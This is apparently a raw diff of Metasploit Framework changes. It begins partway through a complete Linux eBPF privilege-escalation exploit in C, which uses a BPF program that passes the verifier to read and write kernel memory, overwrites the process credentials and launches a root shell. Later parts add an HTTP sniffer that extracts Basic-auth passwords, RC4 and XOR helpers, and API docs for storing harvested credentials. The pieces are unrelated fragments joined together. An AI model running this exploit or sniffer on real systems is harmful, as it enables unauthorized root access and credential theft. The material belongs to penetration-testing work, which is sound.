BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,22 +1,24 @@
|
|||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
|
|||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
if s[:get]
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
|
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
|
|||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
|
@ -6,6 +6,8 @@
|
|||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
|
@ -104,6 +106,7 @@ typedef void* LPCVOID;
|
|||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
|
@ -86241,6 +86241,7 @@ wharves
|
|||
what
|
||||
whatchamacallit
|
||||
whatever
|
||||
whatevers2009
|
||||
whatley
|
||||
whatnot
|
||||
whatshername
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,66 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module AuthApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
MESSAGE_DESC = 'The status of the authentication request.'
|
||||
MESSAGE_EXAMPLE = 'Generated new API token.'
|
||||
TOKEN_DESC = 'The Authentication Bearer token'
|
||||
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
|
||||
|
||||
# Swagger documentation for auth model
|
||||
swagger_schema :Auth do
|
||||
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
|
||||
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/auth/generate-token' do
|
||||
# Swagger documentation for /api/v1/auth/generate-token GET
|
||||
operation :get do
|
||||
|
||||
key :description, 'Return a valid Authorization Bearer token.'
|
||||
key :tags, [ 'auth' ]
|
||||
|
||||
parameter do
|
||||
key :name, :username
|
||||
key :in, :query
|
||||
key :description, 'The username for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :name, :password
|
||||
key :in, :query
|
||||
key :description, 'The password for the user you want to authenticate.'
|
||||
key :required, true
|
||||
key :type, :string
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns a valid auth token.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Auth
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,34 +5,105 @@ module CredentialApiDoc
|
|||
include Swagger::Blocks
|
||||
|
||||
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
|
||||
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
|
||||
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
|
||||
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
|
||||
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
|
||||
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
|
||||
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
|
||||
FILENAME_EXAMPLE = '/etc/shadow'
|
||||
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
|
||||
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
|
||||
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
|
||||
USERNAME_DESC = 'The username for this credential.'
|
||||
USERNAME_EXAMPLE = 'administrator'
|
||||
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
|
||||
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
|
||||
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
|
||||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
'Metasploit::Credential::NonreplayableHash',
|
||||
'Metasploit::Credential::NTLMHash',
|
||||
'Metasploit::Credential::Password',
|
||||
'Metasploit::Credential::PasswordHash',
|
||||
'Metasploit::Credential::SSHKey',
|
||||
'Metasploit::Credential::PostgresMD5',
|
||||
'Metasploit::Credential::BlankPassword'
|
||||
]
|
||||
PRIVATE_TYPE_ENUM = [
|
||||
'password',
|
||||
'ssh_key',
|
||||
'ntlm_hash',
|
||||
'postgres_md5',
|
||||
'nonreplayable_hash',
|
||||
'<blank>'
|
||||
]
|
||||
ORIGIN_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::Origin::Import',
|
||||
'Metasploit::Credential::Origin::Manual',
|
||||
'Metasploit::Credential::Origin::Service',
|
||||
'Metasploit::Credential::Origin::Session'
|
||||
]
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
'import',
|
||||
'manual',
|
||||
'service',
|
||||
'session'
|
||||
]
|
||||
|
||||
|
||||
# Swagger documentation for Credential model
|
||||
swagger_schema :Credential do
|
||||
key :required, [:origin_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
|
||||
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
|
||||
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
|
||||
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
|
||||
property :logins do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
property :public, '$ref': :Public
|
||||
property :private, '$ref': :Private
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Public do
|
||||
key :required, [:username, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Private do
|
||||
key :required, [:data, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
@ -46,53 +117,69 @@ module CredentialApiDoc
|
|||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :required, true
|
||||
schema do
|
||||
property :svcs do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
property :ptype do
|
||||
key :in, :body
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, ['password','ntlm','hash']
|
||||
end
|
||||
|
||||
property :user do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
property :pass do
|
||||
key :in, :body
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
key :in, :query
|
||||
key :name, :svcs
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :example, ['ssh', 'owa', 'smb']
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
key :type, :string
|
||||
end
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :type
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, PRIVATE_TYPE_CLASS_ENUM
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :user
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :example, 'administrator'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :pass
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :example, 'password123'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/credentials POST
|
||||
|
@ -105,99 +192,163 @@ module CredentialApiDoc
|
|||
key :name, :body
|
||||
key :description, 'The attributes to assign to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
|
||||
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
|
||||
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
